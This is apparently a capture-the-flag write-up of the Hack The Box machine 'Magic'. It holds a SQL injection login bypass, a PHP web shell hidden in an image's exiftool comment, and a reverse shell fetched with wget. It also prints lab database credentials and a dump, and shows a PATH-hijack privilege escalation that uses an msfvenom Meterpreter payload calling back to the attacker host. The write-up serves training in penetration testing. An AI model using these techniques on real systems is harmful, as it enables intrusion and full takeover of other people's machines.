Magic

This is an interesting box as it involves all sections of the hacking: CVE, customized exploit, CTF, real life.

Recon

Nmap information shows port 80 is the only option: PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Magic Portfolio No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ). Gobuster does not reveal anything really interesting. On port 80, something really interesting is that all the images are labeled with some specific “id”: And the website is labeled as: 4d61676963. Let’s search this in Google. (Emm.. Found nothing). In this case, the only target is the login php page. The php page use a post form for login. Therefore, before brute force, I use sqlmap -r option with a request recorded by Burp.

[05:49:44] [INFO] parsing HTTP request from ‘form_request.txt’
[05:49:45] [INFO] testing connection to the target URL
[05:49:45] [INFO] testing if the target URL content is stable
[05:49:46] [INFO] target URL content is stable
[05:49:46] [INFO] testing if POST parameter ‘username’ is dynamic
[05:49:46] [WARNING] POST parameter ‘username’ does not appear to be dynamic
[05:49:46] [WARNING] heuristic (basic) test shows that POST parameter ‘username’ might not be injectable
[05:49:47] [INFO] testing for SQL injection on POST parameter ‘username’
[05:49:47] [INFO] testing ‘AND boolean-based blind - WHERE or HAVING clause’
[05:49:49] [INFO] testing ‘Boolean-based blind - Parameter replace (original value)’
[05:49:50] [INFO] testing ‘MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)’
[05:49:51] [INFO] testing ‘PostgreSQL AND error-based - WHERE or HAVING clause’
[05:49:52] [INFO] testing ‘Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)’
[05:49:53] [INFO] testing ‘Oracle AND error-based - WHERE or HAVING clause (XMLType)’
[05:49:55] [INFO] testing ‘MySQL >= 5.0 error-based - Parameter replace (FLOOR)’
[05:49:55] [INFO] testing ‘MySQL inline queries’
[05:49:55] [INFO] testing ‘PostgreSQL inline queries’
[05:49:55] [INFO] testing ‘Microsoft SQL Server/Sybase inline queries’
[05:49:56] [INFO] testing ‘PostgreSQL > 8.1 stacked queries (comment)’
[05:49:56] [INFO] testing ‘Microsoft SQL Server/Sybase stacked queries (comment)’
sqlmap got a 302 redirect to ‘http://10.10.10.185:80/upload.php'. Do you want to follow? [Y/n] n
[05:50:31] [INFO] testing ‘Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)’
[05:50:32] [INFO] testing ‘MySQL >= 5.0.12 AND time-based blind’

Do note that after one specific injection, a 302 is triggered. Now with the same session cookie, I can login to the upload.php. Now the problem becomes upload bypass. The exact user form to bypass the login is:

admin’;WAITFOR DELAY ‘0:0:5’–

Initial Foothold

During the test, I notice that image.php.png can be uploaded onto the server. Therefore, exiftool may be useful to bypass the file upload restriction (I tried many other ways, and this one works).

root@kali:/htb/Magic_185# exiftool -Comment=’"; system($\_GET\['cmd'\]); ?>‘ shell.png
1 image files updated
root@kali:
/htb/Magic_185# cp shell.png shell.php.png

Go to http://10.10.10.185/images/uploads/shell.php.png?cmd=ls, command execution is possible now. After checking, there’s no nc on target machine and bash shell is not working. So I use wget to manually upload php-revere-shell onto the target server. From there, I can obtain www-data.

User

After getting the initial foothold, I enumerate a bit on the server. Under target php file, there’s a db.php5

<?php
class Database
{
private static $dbName = ‘Magic’ ;
private static $dbHost = ‘localhost’ ;
private static $dbUsername = ‘theseus’;
private static $dbUserPassword = ‘iamkingtheseus’;

private static $cont = null;

public function __construct() {
die(‘Init function is not allowed’);
}

public static function connect()
{
// One connection through whole application
if ( null == self::$cont )
{
try
{
self::$cont = new PDO( “mysql:host=”.self::$dbHost.”;”.”dbname=”.self::$dbName, self::$dbUsername, self::$dbUserPassword);
}
catch(PDOException $e)
{
die($e->getMessage());
}
}
return self::$cont;
}

public static function disconnect()
{
self::$cont = null;
}
}

I try to use the credentials for ssh, but it seems that theseus is not accessible from ssh. Also, I tried to use su to switch user. To do that, I generate a tty through python3. Yet the credential is still not correct. So I decide to go into the database and take a look. After few trials, I find the right way:

mysqldump -u theseus –password=iamkingtheseus –all-databases
mysqldump: [Warning] Using a password on the command line interface can be insecure.
– MySQL dump 10.13 Distrib 5.7.29, for Linux (x86_64)

– Host: localhost Database:


– Server version 5.7.29-0ubuntu0.18.04.1

/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE=’+00:00’ */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE=’NO_AUTO_VALUE_ON_ZERO’ */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;


– Current Database: `Magic`

CREATE DATABASE /*!32312 IF NOT EXISTS*/ `Magic` /*!40100 DEFAULT CHARACTER SET latin1 */;

USE `Magic`;


– Table structure for table `login`

DROP TABLE IF EXISTS `login`;
/*!40101 SET @saved_cs_client = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `login` (
`id` int(6) NOT NULL AUTO_INCREMENT,
`username` varchar(50) NOT NULL,
`password` varchar(100) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `username` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;


– Dumping data for table `login`

LOCK TABLES `login` WRITE;
/*!40000 ALTER TABLE `login` DISABLE KEYS */;
INSERT INTO `login` VALUES (1,’admin’,’Th3s3usW4sK1ng’);
/*!40000 ALTER TABLE `login` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;

/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;

– Dump completed on 2020-04-24 2:08:29

Try to use su again with the new password.

$ python3 -c ‘import pty; pty.spawn(“/bin/sh”)’
$ tty
tty
/dev/pts/0
$ su theseus
su theseus
Password: Th3s3usW4sK1ng

theseus@ubuntu:/$ whoami
whoami
theseus
theseus@ubuntu:/$

Root

I’m still using the lse.sh enum tool. After some simple scanning, I see that there is a very suspicious /bin/sysinfo executable with root execution right. Running it, I can see the system information. Do note that some part of the output is very, very similar to lshw command. I want to verify if this sysinfo is calling lshw to get the information. If so, I can craft a fake one to get root access. I download the file from remote machine to my own machine, and handle it through:

root@kali:/htb/Magic_185# file sysinfo
sysinfo: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=9e9d26d004da0634c0747d16d377cd2a934e565a, not stripped
root@kali:
/htb/Magic_185# strings sysinfo
/lib64/ld-linux-x86-64.so.2
…….
====================Hardware Info====================
lshw -short
====================Disk Info====================
fdisk -l
====================CPU Info====================
cat /proc/cpuinfo
====================MEM Usage=====================
free -h
……

So yes. I can use either lshw, fdisk, cat or anything to fake this sysinfo. Here I would like to use cat. FIrstly, I create a fake cat in /tmp, which is an meterpreter file generated from msfvenom. Then, I do export PATH=/tmp:$PATH so that cat in /tmp will be executed before the one in it’s original location (/bin/cat). Meanwhile, I set up the listener on my own pc. (BTW, I do all this because there’s no nc on target machine). So after I trigger /bin/sysinfo, I get:

msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.8:5555
[*] Sending stage (985320 bytes) to 10.10.10.185
[*] Meterpreter session 1 opened (10.10.14.8:5555 -> 10.10.10.185:38590) at 2020-04-24 06:14:23 -0400

meterpreter > shell
Process 4223 created.
Channel 1 created.
whoami
root
cat /root/root.txt
0?9?5?1?e9?a096?af55?08b201e74b8
ifconfig
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.185 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 fe80::250:56ff:feb9:757f prefixlen 64 scopeid 0x20
inet6 dead:beef::250:56ff:feb9:757f prefixlen 64 scopeid 0x0
ether 00:50:56:b9:75:7f txqueuelen 1000 (Ethernet)
RX packets 5731 bytes 4440145 (4.4 MB)
RX errors 0 dropped 11 overruns 0 frame 0
TX packets 2824 bytes 648951 (648.9 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10
loop txqueuelen 1000 (Local Loopback)
RX packets 10130 bytes 720790 (720.7 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 10130 bytes 720790 (720.7 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

Rooted.